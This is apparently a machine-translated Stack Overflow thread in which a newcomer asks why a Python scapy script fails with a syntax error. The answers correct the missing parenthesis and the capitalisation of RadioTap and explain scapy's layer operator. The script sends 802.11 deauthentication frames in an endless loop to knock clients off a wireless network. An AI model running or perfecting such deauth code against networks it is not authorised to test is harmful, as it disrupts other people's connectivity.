2016-05-08 6 views
0

So teste ich dieses Stück Code, (und ich bin ziemlich neu zu Python), , aber ich habe versucht, es mit Python 2.7.6 und Python3 und sie beide gab mir diesen FehlerPython3 und 2.7.6 geben mir Syntaxfehler während^True

while True: ^ SyntaxError: invalid syntax

(der Pfeil auf die während zeigt)

und hier ist der Code

import time 
from scapy.all import * 

iface = "mon0" 
timeout = 1 

if len(sys.argv) < 2: 
print (sys.argv[0] + " <bssid> [client]") 
sys.exit(0) 

else: 
bssid = sys.argv[1] 

if len(sys.argv) == 3: 
dest = sys.argv[2] 

else: 
dest = "ff:ff:ff:ff:ff:ff" 

pkt = radioTap()/\ 
Dot11(subtype=0xc, 
    addr1=dest, addr2=bssid, addr3=bssid/\ 
Dot11Deauth(reason=3) 


while True: 
print ("Sending deauth to " + dest) 
sendp(pkt,iface=iface) 
time.sleep(timeout) 

wenn jemand kann auch erklären, was tut es „/ \“ d o in Python, sei krank dankbar.

Prost

+1

Wo haben Sie diesen Code finden? Es ist ... nicht großartig. Versuchen Sie, eine seriösere Quelle zu finden, von der Sie lernen, oder Sie werden am Ende die gleichen Fehler machen. – jonrsharpe

+0

Ich habe Ihre Revision zurückgesetzt, da Fragen reproduzierbar sein sollten. Ohne die obigen Zeilen wird der Fehler nicht reproduziert. – zondo

Antwort

0

Eine eckige Klammer in

pkt = radioTap()/\ 
Dot11(subtype=0xc, 
    addr1=dest, addr2=bssid, addr3=bssid)/\ 
Dot11Deauth(reason=3) 

Das Symbol \ wird verwendet, um eine lange Linie in kürzeren zu brechen, wie

if a == True and \ 
    b == False 

Der Betreiber / wurde überlastet fehlt die scapy package,

The/operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want).

Es gibt auch einen Tippfehler: RadioTap() sollte mit einem Großbuchstaben R beginnen!

+0

Danke diese Arbeit, kann ich nur fragen, wie kommt das "/" genau ins Spiel? Was macht raioTap()/(Der Rest) genau? – user3676224

+0

In Ordnung danke! Ich habe es einfach ausgeführt, aber es hat NameError zurückgegeben: name 'radioTap' ist nicht definiert, ich dachte, es sollte über einen scapy-Import definiert werden, gibt es einen anderen Grund, warum das nicht funktioniert? – user3676224

+0

Bitte lesen Sie die 'scapy' [Dokumentation] (http://www.secdev.org/projects/scapy/doc/usage.html), um das Modul und die grundlegende API richtig zu importieren. – gdlmx

0

wie diese versuchen:

while (True): 
print ("Sending deauth to " + dest) 
sendp(pkt,iface=iface) 
time.sleep(timeout) 
+0

immer noch nicht funktioniert. Danke, dass Sie das vorgeschlagen haben – user3676224

Verwandte Themen